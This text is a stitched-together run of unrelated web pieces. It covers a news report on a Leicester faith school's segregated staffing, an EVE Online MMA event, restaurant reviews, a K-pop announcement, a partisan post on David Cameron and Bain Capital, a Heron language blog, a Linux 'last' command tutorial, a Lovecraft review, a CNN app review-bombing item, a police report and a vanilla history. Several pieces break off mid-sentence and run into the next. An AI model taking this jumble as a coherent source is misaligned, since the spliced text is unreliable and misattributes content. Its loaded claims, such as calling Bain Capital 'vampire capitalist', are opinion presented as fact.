It caused an uproar and the school found itself in the headlines, accused of segregation and flouting the Equalities Act.
Our religion does not permit us to break the law of the land we live in. Hussein Suleman, chair of governors
Michael Gove, the education secretary, asked Leicester City Council to put pressure on the school to withdraw the advert.
Until now, the school has never spoken, but we were given exclusive access. In his only interview, the chair of governors, Hussein Suleman, told me they have done nothing wrong.
“There’s an exemption in the Equalities Act for faith schools, and we’ve been advised that we haven’t broken the law. In fact, our religion does not permit us to break the law of the land we live in,” he said.
Mr Suleman invited me to look around and I spent the day filming lessons. The Madani Federation runs two – very separate – schools on one site, a boys’ and a girls’ secondary.
Segregated teachers
The school says that in accordance with its religious ethos, boys and girls are segregated – but so too are the teachers. Although the students share some facilities, the school day is staggered so that they never meet, with the girls starting 15 minutes earlier.
There’s even a separate timetable for the shared library, with girls and boys only being allowed access on separate days.
“We don’t believe it would be right for males to teach our female pupils, or for a woman to teach our young men. In our religion, men and women do not interact on a casual basis, there are dos and don’ts and rules of conduct,” said Mr Suleman.
But are these rules compatible with modern Britain, for a school funded by the taxpayer? Like many faith schools, Madani is voluntary-aided, which means it is partly state-funded but has the freedom to run its own affairs.
“Islam is absolutely compatible with modern Britain,” Mr Suleman told me. “And it is something our parents want and something our pupils want.”
The Equality Act
The Equality Act (2010) was intended to simplify the law by bringing together existing anti-discrimination legislation. After lobbying by various religious communities, the following exemption was incorporated for faith schools: in very limited circumstances the Equality Act permits faith schools to take into account religious considerations in employment. If an employer, including an education establishment, wants to restrict a post by gender, they would need to show that it is an occupational requirement for the post.
Islamic ethos
The school is certainly popular, with a long waiting list. Many of the parents I spoke to said they specifically chose it because of its Islamic ethos.
“I wouldn’t feel comfortable if my daughter had a male teacher,” one mum told me.
“It wouldn’t be right in a Muslim school. This is my religious belief. I should have the freedom to choose.”
But are these religious freedoms compatible with the law? The Department of Education thinks not. Michael Gove asked officials at Leicester City Council to visit the school, to remind it that it must comply with the Equality Act.
But the school denies that it was forced to remove the ad. Legalities aside, there’s a wider question – are these students being adequately prepared for the world outside?
Some within the Muslim community think not.
There is nothing in my religion which states that a woman cannot teach men. And what message are we sending to these boys? Sara Khan
“There is nothing in my religion which states that a woman cannot teach men. And what message are we sending to these boys, that only a man can teach them science?” said Sara Khan, who runs a Muslim Women’s project called Inspire.
She is against gender segregation: “We don’t stand in segregated queues at the supermarket or at the bus stop. What are we teaching our children if we enforce it in schools?”
I asked some of the children of Madani High themselves. I asked to interview a mixed group of boys and girls, but only the girls were available.
“I just feel more comfortable with female teachers,” one girl told me. “We can be ourselves around women.”
“It’s not like we’re in school 24/7, so we do mix with boys outside of school. When I go to the shop, I talk to the male shopkeeper and I feel comfortable, I don’t feel like I’m doing anything wrong,” her friend told me.
All of the girls were extremely positive about the school. The girls’ secondary recently performed better in an Ofsted inspection than the boys’ school, which was judged as needing improvement.
One of the reasons for its poor rating was its reliance on temporary staff. The school told me it has a plan in place to recruit more teachers, but that it will continue to do so in accordance with its religious beliefs.In nine years of covering video games and the people who play them, I have seen some egregious displays of machismo, but it’s never gotten to the stage where men have literally ripped their shirts off and wrestled each other to the ground. On Friday, though, I witnessed game developers from EVE Online studio CCP fight a reigning Icelandic mixed martial arts champion in front of an auditorium full of baying internet spaceship enthusiasts.
There is no real reason for this fight to be happening, except that CCP’s offices are next to the Icelandic capital Reykjavik’s MMA gym and its employees are a) famously insane and b) famously male. There is, I am fairly confident, no community in video games more male-dominated than EVE Online’s. Last time I managed to get a stat out of them, it was 97 per cent male, where other MMOs enjoy a fairly even gender split. The reasons for this are difficult to determine, both for CCP and for me; EVE is unashamedly hard sci-fi, centred on lovingly designed spaceships mining asteroids and shooting each other out of the sky, but girls love sci-fi. Just ask the Star Wars or Firefly fan communities.
Personally I think it has more to do with EVE’s unwelcoming nature. It doesn’t just keep women out, it’s intimidating to every new player. EVE is cutthroat. Its long, involved history is built around huge wars and large-scale betrayals, people dicking each other over to their own ends. It is a game of wars, between spaceships and between minds. People will use whatever they can against you. I’ve spoken to plenty of EVE’s female players, many of whom are very powerful. It takes a lot of fortitude to make it in that world.
If there is one thing more wholly and ostentatiously masculine than the EVE community, it’s probably topless men fighting in a ring. Ten men are lined up to fight Gunnar Nelson, who is evidently something of an Icelandic hero and undefeated MMA fighter. He is a beast of a man, bearded and tightly muscled; he circles his opponents like an aggressive silverback, arms out |
cooked on embers, dressed with basil and lime, and enriched with sheep's-milk cheese. A marrow bone came in a miniature cast-iron pan, accompanied by sweet onion relish and biscuits, a quirky combination I wouldn't have admired with any biscuits less flaky and fluffy than these. Warm oysters on the half shell with a butter sauce of green garlic, lovage, and preserved lemon could be repositioned as the escargots of the South. I'm just a northerner, but it strikes me that Husk in Nashville has found the pathway to better southern cooking, transforming it with an abundance of finesse.
Photo: Andrew Thomas Lee King + Duke's grilled artichoke. 5. King + Duke Atlanta, GA Where There's Smoke, There's Grilling, as All-American as a Slab of Swordfish You've certainly dined in a multitude of restaurants that positioned themselves as “modern American grills.” Like me, you might have ceased caring what this was ever supposed to mean. I walked into King + Duke with a friend and immediately found it attractive. Even so, I didn't expect much to come of our casual dinner. King + Duke didn't appear fundamentally different from other places that cook over wood. It was. In the middle of the meal, I sat up straight and thought, This is the one. This is informal American dining, perfected. King + Duke—named after characters in Huckleberry Finn—has an endless bar, an open kitchen that seems to stretch as far as a football field, and a huge outdoor patio set up for eating in warm weather. There are comfy banquettes, padded chairs, hardwood floors, and charmingly attentive servers. When aren't they that way in the South? The modern American food comforts with southern touches and startles with English ones. Restaurants today love to charge for bread. Here each guest receives a complimentary Yorkshire pudding. Slow-roasted lamb belly rose to prominence this year, but this tender, luscious candied preparation dazzled above all others. Duck breast boasts the beefiness of steak. Swordfish from Block Island—I often think of grilled swordfish as the signature American fish—is cut so thick it develops a crust during grilling. Mine came with corn, field peas, and black-eyed peas. The desserts tend to be rich beyond comprehension. Go for the pulverizingly perfect sticky toffee pudding, another English beauty. I should have figured out that something special awaited me back when I was walking through the plaza on Peachtree Road on my way to the restaurant and ran into a delightful wall of wood smoke. Usually that means that barbecue lies dead ahead, but King + Duke does something far more memorable. Grilling over wood reminds us of the backyard cookouts and family camping trips so essential to our lives, allows food to speak with an American accent.
Photo: Filip Wolak At Carbone, waiters prepare the Caesar salad tableside. 4. Carbone New York, NY The Little Italy-Style Joint You Dreamed of Discovering, Right Down to the Veal Parm Once, Italian-American (or Bronx-Italian) food was something special, but it seemed to be on the threshold of extinction until Carbone came to the rescue. Italian-American was the signature food of America throughout most of the twentieth century, with its oversize meatballs, overstuffed pastas, and oversauced cutlets, one more extravagantly satisfying than the next. It was the American interpretation of how Italians ate, and it helped define our culture. When Michael Corleone shot and killed a corrupt Irish-American cop in The Godfather, he did it in an Italian-American restaurant in the Bronx. Carbone might be the best Italian-American restaurant of all time; it's almost certainly the most expensive and probably the most sophisticated, even if it has wacky nostalgic touches here and there. The waiters are in crimson tudos and speak in a Bronx patois (“Ya know,” “Ya got it”). The soundtrack features glorious Italianate songs, such as Julius La Rosa's 1953 “Eh, Cumpari.”It's all guaranteed to make you smile. Of greater importance, co-chefs Mario Carbone and Rich Torrisi have re-invigorated Italian-American cuisine, which has a reputation for being ridiculously heavy—because it usually is ridiculously heavy. It isn't that way here, except in the case of the whopping veal parmigiana, so huge it could double as an anchor should you wish an enemy to sleep with the fishes. Mostly the food is extraordinarily and unexpectedly restrained, as with tortellini in ragù, the pasta rings stuffed with sheep's-milk ricotta and sitting atop a creamy, pale red sauce made with beef, veal, pork, and lardo. The gently pan-crisped halibut is totally modern, presented with a scattering of vegetables, fragile squash blossoms among them. (Usually squash blossoms are stuffed with cheese and possess the heft of bocce balls.) Every cook working in every Little Italy in every American city should be required to eat here.
Photo: Dina Avila Roe's Alaskan spot prawns, in a watercress broth (right). 3. Roe Portland, OR A Mostly Seafood Japanese Gem, Hiding in Plain Sight Behind Another Mostly Seafood Spot Roe stands out, quietly. It's the understated restaurant of the year: modest, lovely, detail-oriented, rather shy. You come in, take your seat, and prepare yourself for little more than very good wine and exquisite food. No dramatics here. Not many restaurants in Portland are blessed with such restraint. The two of us sat at the bar, where the lengthier of two tasting menus is offered—seven courses, mostly seafood, quite Japanese, for $95, one of the best bargains you're going to find. Before us was a low dark-wood barrier that separated us from the three cooks behind the counter. They were working furiously, totally engrossed, never looking up, never saying a word to us and not many to one another. We made no new friends, but that didn't stop us from loving the food. The combinations are exquisitely ecuted: arctic-char roe in a watercress emulsion, the crunch of tobiko over shaved foie gras. At the start, the courses flowed into one another, in tune, seamless. Then came contrasts, one of them mostly French, sea bass in a sauce grenobloise, the comeback French preparation of the year. One dessert was a pan-roasted Seckel pear with salted praline-caramel popcorn and crème anglaise. The wines for the night are presented on the menu, selected to match the food, but should you wish something special, you need only ask. Roe is located in the rear of a larger restaurant called Block + Tackle, but it's totally sealed off, the door the sort you find in genetic-engineering laboratories, constructed so that no molecule in one room can escape to the other. This being Portland, the room has exposed pipes across the ceiling, but all else is uncharacteristically restrained. The walls are very Japanese, a hand-painted cherry-blossom tree depicted on one, a serene paneled ink drawing hanging on the other. Don't worry about being in the presence of so much tranquillity. Perfection is so rare it has an excitement all its own.
Photo: Misha Gravenor Ludo Lefebvre (center) in his open kitchen at Trois Mec. 2. Trois Mec Los Angeles, CA A Little Piece of Paris in an L.A. Strip Mall They stand outside, mingling, talking, waiting for the door to open, for their moment to come. If you don't know what to expect from Ludo Lefebvre's Trois Mec, and I had no idea, you might think you're in the wrong place—the sign overhead reads Raffallo's Pizza & Italian Foods. The joint could well be an underground Italian social club, guys hanging around, hands in pockets, hoping to get inside. Okay, girls, too. Trois Mec is the toughest ticket in a town where a lot of places are that way. It seems like a pop-up, which Lefebvre knows how to do better than anybody else, but inside, the place promises permanence. There's marble everywhere, even underfoot, plus new ovens, a new grill, all the trimmings. (That old-time pizza sign is considered too wonderful to replace.) Lefebvre does a tasting menu, little plates that incorporate a lot of French touches, somewhat suggestive of those found in the neo-bistros that have swept Paris in recent years, starry food served in less-than-sterling settings. There's classic technique here, which is that French thing, understandable inasmuch as Lefebvre comes from just outside Chablis. Nothing you will eat tastes conventional: The “snacks,” which would be called amuse-bouches in a fancier place, are shockingly intense, a wake-up for the meal ahead. The buckwheat popcorn with rice-vinegar powder quickly got my attention, convincing me that the struggle to get in was worth the effort. Later dishes are more delicate—tweezers and squeeze bottles are in sight—but there's also that grill, where you'll watch cabbage go up in flames for a dish that includes bone-marrow flan, cured egg, and smoked-almond-milk crème anglaise. His version of raw beef layered with caramelized eggplant and smoky yogurt is really just an extreme play on beef tartare. The end of the meal heralds the arrival of remarkable petits fours, the magic one a mini éclair with hazelnut buttercream and candied chestnut. If you can't get in—and few succeed—be patient. Lefebvre is planning a simpler French spot in the abandoned Tasty Thai restaurant next door.will be releasing their 1st single on November 18th!
The group's Seo Kang Jun and Lee Tae Hwan have already debuted in dramas and variety shows, and Kang Tae Oh is currently filming a drama. The group will finally be debuting as singers with the song "From My Heart"! The song is composed by Cho Young Soo, the same man behind SG Wannabe's "My Person" and Orange Caramel's "Magic Girl". Kim Yi Na, who wrote the lyrics for IU's "The Red Shoes", "Good Day", and Brown Eyed Girls' "Abracadabra" will be taking up the lyric writing for the song.
Their label said, "Nowadays, actors need to be talented in various things such as singing the OST in their dramas, releasing albums, and holding concerts. Please look at this as a new challenge that rookie actors in a quickly changing market are facing to try to keep growing. They will be focusing on acting promotions in Korea, but target the overseas market through their music promotions and hold overseas concerts."
Are you looking forward to their debut?For a list of further lucrative possibilities for Mr Cameron, visit the original article (link at the bottom of the quoted excerpt).
Isn’t it interesting that nobody seems to be interested in investigating how many changes initiated by Cameron’s government actually helped the UK, and how many helped him and his friends?
Back in 2013 David Cameron’s Tory party oversaw the sale of our NHS blood plasma supply unit to a vampire capitalist group called Bain Capital (which was founded by the 2012 Republican Presidential candidate Mitt Romney). Fast-forward three years and Bain Capital have already handed David Cameron a lucrative speaking gig at one of their events just weeks after he quit politics after his Brexit gamble went so spectacularly wrong. Thanks to the extraordinarily lax rules covering financial rewards to former politicians it’s not clear how much Cameron is going to be paid for his speaking gig, but given that that the former foreign secretary William Hague is expecting to make some £4 million per year on the speaking circuit at £50,000 – £100,000 per appearance, Cameron’s speaking fees are unlikely to be less than six figures. It’s no wonder Cameron was so keen to abandon politics when there are such rich pickings to be had from the companies his government handed favours to during his time as Prime Minister.
Source: David Cameron’s speaking gig with Bain Capital
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Like this: Like Loading...Heron-Centric: Ruminations of a Language Designer
Heron 1.0 Alpha 3 : Compile-Time Reflection, the HeronEdit IDE, and more
by Christopher Diggins
April 21, 2010
Summary
The Alpha 3 release of Heron 1.0 is now available for download from Google code. The completion of a couple of features, such as compile-time code reflection, and the inclusion of an editor, makes this one of the most interesting releases of Heron yet.
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Heron 1.0 Alpha 3
The Alpha 3 release of Heron 1.0 is now available for download. There are a number of minor bug fixes, and a couple of significant new additions: compile-time reflection, a mini IDE, and enhanced duck-typing.
This version is still an Alpha since I am still on the fence whether a couple of features may make it into the official 1.0 gold version.
Compile-Time Reflection (Metaprogramming)
In previous versions of Heron you could only examine the code model of a Heron program at compile-time (i.e. compile-time introspection). In this version you have full read and write access to the code model at compile-time. So for example you could iterate over the functions of a class and insert trace statements where you want.
Compile-time reflection in Heron is enabled by providing a second program entry point called Meta() (in addition to the run-time entry-point Main() ). The Meta() function accepts a ProgramDefn object as an argument. A ProgramDefn type represents the abstract syntax tree (AST) of a Heron program and can be modified as much as the programmer desires. When a Heron program is finally run (or interpreted) the Main() function of the transformed AST is run instead of the original. This means that a programmer can do virtually anything they want to a program at compile-time. The only caveat is that it won't work if the original program wasn't a syntactically valid Heron program to begin with.
The following code example demonstrates how compile-time reflection works in Heron, by adding trace statements to all of the functions in the program:
module TestMetaProgramming { imports { console = new Heron.Windows.Console(); meta = new Heron.Standard.Metaprogramming(); } methods { Meta(p : ProgramDefn) { var m : ModuleDefn = p.GetModule("TestMetaProgramming"); foreach (f in m.GetDeclaredMethods()) { if (f.name!= "Meta") { var st = CodeModelBuilder.CreateStatement("WriteLine(\"At function " + f.name + "()\");"); f.body.statements.Prepend(st); } } } Main() { f(); } f() { WriteLine("Nothing to see here, carry on"); } } }
Running this program produces the following output:
At function Main() At function f() Nothing to see here, carry on
Compile-time code generation can be very useful in a number of ways:
code optimization
static code analysis tools (e.g. type checkers)
automatic test generation
documentation generation
The HeronEdit mini-IDE
With the Alpha 3 release I have introduced a simple IDE for editing and running Heron programs called HeronEdit. HeronEdit is effectively with the following enhancements for working with Heron files:
Syntax coloring
On-the-fly parse error reporting
Multi-level undo
Single key-press for running a file
The editor can be programmatically extended via macros (scripts) written in Heron.
So while HeronEdit is written in C#, with full source code provided and licened under the MIT License 1.0, it does provide the interesting ability to be extended using scripts written in Heron.
A sample macro script for HeronEdit can be seen at Macros.heron.
Duck-Typing
Previous versions of Heron supported only explicit duck-typing via the as operator. Using as an object (class instance or interface instance) could be cast to any interface instance as long as the required interfaces were supported. In the current version of Heron this has been modified so that the as operator is no longer required. Now simply casting to an interface instance (i.e. via assignment or by passing a value as an argument to a function) will cause the object to be coerced into the new type.
Heron also allows type annotations to be omitted. A value with no type annotation will have its type checked at run-time, and thus provides another form of duck-typing.
Candidate Features for Heron 1.0 Gold
I plan on moving Heron into the beta phase once I have definitively decided whether or not to add support for a couple of features. These are:
program piping - One feature that is a must-have in Heron (whether it is released in 1.0 or I push it back to 1.1) is ability to redirect the standard output of a module to the standard input of another module from within Heron.
annotations - This is another must-have feature, and will probably make it into 1.0. Annotations are expressions that are associated with various program elements (e.g. types, methods, fields) that can be accessed at compile-time when examining the code model.
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About the Blogger
Christopher Diggins is a software developer and freelance writer. Christopher loves programming, but is eternally frustrated by the shortcomings of modern programming languages. As would any reasonable person in his shoes, he decided to quit his day job to write his own ( www.heron-language.com ). Christopher is the co-author of the C++ Cookbook from O'Reilly. Christopher can be reached through his home page at www.cdiggins.com.
This weblog entry is Copyright © 2010 Christopher Diggins. All rights reserved.Linux/Unix last command provide User’s login and logout timings. This helps to find out who recently used system, this further helps to relate things happened on system with their timings.
last command used to search User’s login from /var/log/wtmp file. When last catches a SIGINT signal (generated by the interrupt key, usually control-C) or a SIGQUIT signal (generated by the quit key, usually control-\), last will show how far it has searched through the file; in the case of the SIGINT signal last will then terminate.
Syntax
#last #last User-name #last reboot #last -x shutdown #last tty1
let see some of examples and their description.
Simple ” last “ command will show Users login as described in below image
[root@srv103 ~]# last | head root pts/0 192.168.0.1 Sun Jan 3 09:39 still logged in reboot system boot 2.6.32-431.el6.x Sun Jan 3 09:31 - 09:40 (00:08) root pts/1 192.168.0.1 Sat Jan 2 23:03 - crash (10:27) root pts/0 192.168.0.1 Sat Jan 2 22:52 - crash (10:39) reboot system boot 2.6.32-431.el6.x Sat Jan 2 22:43 - 09:40 (10:57) root pts/1 192.168.0.1 Sat Jan 2 01:24 - down (12:30) root pts/0 192.168.0.1 Sat Jan 2 01:24 - down (12:30) root pts/0 192.168.0.1 Sat Jan 2 01:15 - 01:15 (00:00) reboot system boot 2.6.32-431.el6.x Fri Jan 1 23:09 - 13:54 (14:45) root pts/1 192.168.0.1 Thu Dec 31 22:57 - crash (1+00:11)
last command can display user specific login logout with ” last user-name”
[root@srv103 ~]# last u1 u1 pts/1 192.168.0.1 Sat Dec 26 16:47 - down (00:52) u1 pts/1 192.168.0.1 Tue Dec 22 06:47 - 06:47 (00:00) u1 pts/1 192.168.0.1 Tue Dec 22 05:25 - 05:26 (00:00) u1 pts/1 192.168.0.1 Tue Dec 22 05:21 - down (00:00) wtmp begins Mon Dec 14 04:49:16 2015
[root@srv103 ~]# last reboot reboot system boot 2.6.32-431.el6.x Sun Jan 3 09:31 - 09:45 (00:13) reboot system boot 2.6.32-431.el6.x Sat Jan 2 22:43 - 09:45 (11:02) reboot system boot 2.6.32-431.el6.x Fri Jan 1 23:09 - 13:54 (14:45) reboot system boot 2.6.32-431.el6.x Thu Dec 31 22:23 - 13:54 (1+15:31) reboot system boot 2.6.32-431.el6.x Thu Dec 31 11:22 - 13:51 (02:29) reboot system boot 2.6.32-431.el6.x Thu Dec 31 05:07 - 13:51 (08:44) reboot system boot 2.6.32-431.el6.x Wed Dec 30 03:30 - 13:51 (1+10:21) reboot system boot 2.6.32-431.el6.x Mon Dec 28 08:35 - 13:51 (3+05:16) reboot system boot 2.6.32-431.el6.x Mon Dec 28 04:35 - 13:51 (3+09:15) reboot system boot 2.6.32-431.el6.x Sun Dec 27 10:28 - 14:45 (04:17) reboot system boot 2.6.32-431.el6.x Sat Dec 26 15:34 - 17:39 (02:05) reboot system boot 2.6.32-431.el6.x Sat Dec 26 05:26 - 17:39 (12:13) reboot system boot 2.6.32-431.el6.x Fri Dec 25 10:48 - 17:39 (1+06:51) reboot system boot 2.6.32-431.el6.x Tue Dec 22 23:41 - 17:39 (3+17:57) reboot system boot 2.6.32-431.el6.x Tue Dec 22 05:22 - 17:39 (4+12:16) reboot system boot 2.6.32-431.el6.x Tue Dec 22 02:49 - 05:21 (02:32) reboot system boot 2.6.32-431.el6.x Mon Dec 21 08:31 - 09:04 (00:32) reboot system boot 2.6.32-431.el6.x Fri Dec 18 05:37 - 09:04 (3+03:27) reboot system boot 2.6.32-431.el6.x Tue Dec 15 12:15 - 12:42 (00:26) reboot system boot 2.6.32-431.el6.x Mon Dec 14 04:56 - 07:05 (02:09) reboot system boot 2.6.32-431.el6.x Mon Dec 14 04:54 - 04:55 (00:01) reboot system boot 2.6.32-431.el6.x Mon Dec 14 04:49 - 04:53 (00:04) wtmp begins Mon Dec 14 04:49:16 2015
last command can display shutdown specific record with " last -x shutdown"
[root@srv103 ~]# last -x shutdown shutdown system down 2.6.32-431.el6.x Sat Jan 2 13:55 - 22:43 (08:48) shutdown system down 2.6.32-431.el6.x Thu Dec 31 13:51 - 22:23 (08:31) shutdown system down 2.6.32-431.el6.x Sun Dec 27 14:45 - 04:35 (13:50) shutdown system down 2.6.32-431.el6.x Sat Dec 26 17:39 - 10:28 (16:48) shutdown system down 2.6.32-431.el6.x Tue Dec 22 05:21 - 05:22 (00:01) shutdown system down 2.6.32-431.el6.x Mon Dec 21 09:04 - 02:49 (17:45) shutdown system down 2.6.32-431.el6.x Tue Dec 15 12:42 - 05:37 (2+16:54) shutdown system down 2.6.32-431.el6.x Mon Dec 14 07:05 - 12:15 (1+05:10) shutdown system down 2.6.32-431.el6.x Mon Dec 14 04:55 - 04:56 (00:00) shutdown system down 2.6.32-431.el6.x Mon Dec 14 04:53 - 04:54 (00:00) wtmp begins Mon Dec 14 04:49:16 2015
last command can display console specific login and logout record with " last tty1 pts/2"
[root@srv103 ~]# last tty1 pts/2 root tty1 Sun Dec 27 12:49 - down (01:55) root pts/2 192.168.0.101 Mon Dec 14 05:46 - 06:05 (00:19) root pts/2 192.168.0.1 Mon Dec 14 05:44 - 05:44 (00:00) root tty1 Mon Dec 14 05:39 - 05:43 (00:03) root tty1 Mon Dec 14 04:54 - down (00:00) root tty1 Mon Dec 14 04:50 - down (00:02) wtmp begins Mon Dec 14 04:49:16 2015
last command can display the state of logins as of the specified time with " last -t YYYYMMDDHHMMSS"
[root@srv103 ~]# date Sun Jan 3 09:51:06 EST 2016 [root@srv103 ~]# last -t 20151214050000 root root pts/0 192.168.0.1 Mon Dec 14 04:56 gone - no logout root pts/0 192.168.0.1 Mon Dec 14 04:55 - down (00:00) root tty1 Mon Dec 14 04:54 - down (00:00) root tty1 Mon Dec 14 04:50 - down (00:02) wtmp begins Mon Dec 14 04:49:16 2015 [root@srv103 ~]#
last command can display complete detail of login logut with " last -F"
[root@srv103 ~]# last -F -t 20151228050000 u1 u1 pts/1 192.168.0.1 Sat Dec 26 16:47:17 2015 - down (00:52) u1 pts/1 192.168.0.1 Tue Dec 22 06:47:38 2015 - Tue Dec 22 06:47:43 2015 (00:00) u1 pts/1 192.168.0.1 Tue Dec 22 05:25:38 2015 - Tue Dec 22 05:26:06 2015 (00:00) u1 pts/1 192.168.0.1 Tue Dec 22 05:21:09 2015 - down (00:00) wtmp begins Mon Dec 14 04:49:16 2015
There are some other options that could be used with last listed below with their explanation.
-f file Tells last to use a specific file instead of /var/log/wtmp. -num This is a count telling last how many lines to show. -n num The same. -f file Specifies a file to search other than /var/log/wtmp. -R Suppresses the display of the hostname field. -a Display the hostname in the last column. Useful in combination with the next flag. -d For non-local logins, Linux stores not only the host name of the remote host but its IP number as well. This option translates the IP number back into a hostname. -F Print full login and logout times and dates. -i This option is like -d in that it displays the IP number of the remote host, but it displays the IP number in numbers-and-dots notation. -o Read an old-type wtmp file (written by linux-libc5 applications). -w Display full user and domain names in the output. -x Display the system shutdown entries and run level changes.Podcast Episodes 20 Feb 2011 01:55 am by David!
“EXPLODED,” by Tom Francis. Read by Christopher Joseph.
“It’s going to look like we’re profiting from it? Pete, it’s going to look like we did it. You don’t seem to realise how sceptical people are going to be about something like this. You’re the only person in the world who has any idea how this box works, and to the rest of us it looks a hell of a lot like a hoax. And when some small-minded prick with a bag of pipe bombs decided commuters were responsible for all the world’s problems this morning, it became the most vicious hoax in history. We’re going to have protesters on your lawn around the clock, we’re going to get ripped to shreds in the press, we’re going to be hounded by cameras. We’re going to get mail bombs, Pete.” I sat down, and lowered my voice. “They’re gonna try and kill us. Nobody knows yet, but I promise you that at some point in the next eighteen hours, someone Googling the victim names is going to find our prediction list and our lives as they stand will be over.”
Download the MP3 • Subscribe on iTunes
Direct podcast feed: http://feeds.feedburner.com/machineofpodcast
Tom Francis is a writer and editor for PC Gamer magazine and PCGamer.com. He blogs at pentadact.com.
Christopher Joseph is a filmmaker in Los Angeles. His website is palmeralley.com.
In the book, “Exploded” is illustrated by Jesse Reklaw!THE OUTSIDER AND OTHERS
It's once again time to defend H.P. Lovecraft's literary significance.This discussion has a way of feeling relevant no matter how many times it's taken place, which is a lot more often than you might think. Lovecraft's legacy has been one of perpetual ebb and flow, with each generation embracing and rejecting his work at an almost industrial rhythm. Our cultural relationship with Lovecraft is like that of a child to a parent: we adore him in our youth, reject him during the painful onset of "maturity," and return to him in later years with a measured sense of respect.Writer Alan Moore appears to have reached the twilight phase of his relationship with Lovecraft. His new comic series PROVIDENCE functions as a treatise on Lovecraft's strengths. It's a follow-up to his controversial NEONOMICON, which insisted on discussion of the bigotry, misanthropy and sexual undertones of Lovecraft's golden age stories. Both series are meta-pastiches that involve variations of his characters and situations, though PROVIDENCE (so far) has been a lot more restrained than its predecessor.In the video above, Moore speaks briefly about our newfound "cuddly" relationship with the elder gods, one that has transformed Cthulhu into a kind of "Mickey Mouse" mascot of horror. Cthulhu was a concept that once invoked fear in readers. Today, he's fodder for stuffed animals, action figures and sardonic bumper stickers.The reevaluation of Lovecraft's work is a popular meme, one that began almost immediately after his death in 1937. Below is a review of "The Outsider and Others," the first collection of Lovecraft's stories from Arkham House. Even though Lovecraft had been dead for just three years when this piece was published, the review has that faintly apologetic air seen so often today in discussions about the author.By H. P. Lovecraft.The late H. P. Lovecraft occupies a peculiar position in American letters. It seems safe to wager that, in the minds of more than a few critics, he occupies almost no position in the American literary hierarchy. This is not because Lovecraft was not a good writer. On the contrary, he could write plain and fancy rings around all but a handful of his contemporaries. In his chosen field he had no equal.Lovecraft's undoubted abilities have remained more or less hidden for two reasons. The first is that his field is the supernatural and the weird, traditionally a limited one. The second reason, closely aligned with the first, is that almost all of Lovecraft's writing has appeared in a comparatively obscure publication, Weird Tales. This magazine, besides being one of the abhorred "pulps" has a highly specialized circulation and is rarely to be found in the ivory towers of widely known critics.Lovecraft died in 1937. “The Outsider and Others" is a posthumous collection of his stories, edited by Donald Wandrei and August Derleth, themselves writers as well as fanciers of weird stories. Not all the stories included are truly weird, but all have an element of strangeness, an element which in some cages is utilized to attain a pitch of horror not far short of Poe's level.Lovecraft possessed a freshness of imagination and a prolificity of invention scarcely surpassed by any other writer of the weird. In the course of his career he developed at least the outer symbols of a peculiarly horrible mythology, from which other writers have since borrowed. More than one of his stories approaches close to the borders of madness: It would be difficult, reading them, to believe that Lovecraft was quite sane, just as some of Poe's conceptions make one doubt his entire sanity.A flowing, 18th century style contributes markedly to the effect of Lovecraft's tales. At times, this style burgeons a bit too consciously, and reading several stories at one sitting is likely to surfeit the reader’s appetite: but on the whole the writing holes up remarkable well.Not the least interesting thing in this volume is Lovecraft's essay on "Supernatural Horror in Literature," a capable and scholarly piece which deals with the origin of the weird tradition in literature and its various ramifications to the present day. It fittingly rounds out one of the most significant books of the weird to appear in many years.CNN App Demoted to Junk Status: Goes From 4.0 Stars to 1.0 Star in 24 Hours
When it rains it pours.
As TGP previously reported, CNN received a huge backlash after they threatened to release the identity of an anonymous Reddit user who created the anti-CNN video, but that didn’t stop Chris Cuomo from doubling down early Wednesday morning. Cuomo sent out a tweet saying, “Should CNN reveal the name of Reddit user who made Trump wrestling video? Had a lot of bigoted and hateful material on page and website.”
On Wednesday internet activists took their frustrations out on the CNN phone app.
The app rating went from 4.0 to 1.0 in 24 hours.
Ouch!
The Donald Reddit community is cheering the news.
It looks like Operation Mobile Assault was a success.At 2:15 AM on December 25, 2015 Lancaster City Police officers responded to the 200 blk. of E. Chestnut St. for a report of an intoxicated male causing a disturbance. Upon arrival officers found an intoxicated 30-year-old male inside of the foyer of an apartment building on the north side of the street with injuries to his eye and lip. This male was arrested for Public Drunkenness and conveyed to the police station. While at the station, officers examined the male more closely and discovered a laceration to the back of his head. The man was subsequently conveyed to Lancaster General Hospital and admitted as trauma patient. The male was unable to tell officers how he sustained these injuries.
Medical personnel at LGH advised that the 30-year-old male had sustained two black eyes, facial lacerations, a broken nose and a brain bleed. The victim now has cognitive issues, memory lapses, trouble speaking, trouble walking and is in need of a wheelchair for mobility.
Lancaster Safety Coalition surveillance video for this date was reviewed and the victim was observed in the 200 blk. of N. Shippen St. in the area of Molly's Pub carry-out. (Molly's Pub, 253 E. Chestnut St., is approximately one-half block from the location where the victim was found in the apartment foyer.) The victim was observed being struck, punched and kicked by at least three people. Two of these people were identified by Det. Michael Ger |
At soda parlors, counter boys hollered, “Vanilla!” to alert kitchen workers to an attractive girl. Where, then, did the myth of plain vanilla come from?
Vanilla’s lackluster reputation stems in part from its particular history in America, where most people initially encountered it as a flavoring for ice cream. According to Patricia Rain, author of Vanilla: The Cultural History of the World’s Favorite Flavor and Fragrance,vanilla was first brought to America by Thomas Jefferson in the late 18th century. He had sampled vanilla sweets in France and later imported beans to make vanilla ice cream. (His recipe can be found with his papers at the Library of Congress.) The flavor, novel for its aromatic intensity, quickly became popular. Ice cream had previously been flavored with fruit or nuts (and, occasionally, with unexpected foods like brown bread), so this colorless, lumpless incarnation would have seemed plain by comparison, writes Rain. Today, the many candied and cookied ice cream flavors that use vanilla as a base reinforce the notion that vanilla is basic: merely the starting point for flavor, not flavor itself.
Several developments in the past two decades have also done much to alter vanilla’s status. The explosion of low-fat and low-carb products has created a need for strong flavors to render these foods remotely appetizing, and the flavoring industry has determined that vanilla, despite its supposed blandness, is a consistent favorite. And so vanilla has become the Zelig of the processed-food world, appearing in everything from Nilla Wafers to Absolut Vodka: ice cream, sorbet, yogurt, cookies, cakes, cream soda, colas, root beer, Frappuccinos, granola, protein powders, chocolate, malt liquor, and breath mints. After a 1991 study conducted at Manhattan’s Memorial Sloan-Kettering Cancer Center revealed that a vanillalike fragrance reduced stress among patients undergoing MRI scans, vanilla-scented candles, incense, body lotion, shampoo, and air fresheners also began to proliferate. It may be that we are now experiencing vanilla fatigue, that our olfactory glands have become immune tothe aroma. Perhaps vanilla seems common and ordinary because—these days, anyway—it is.
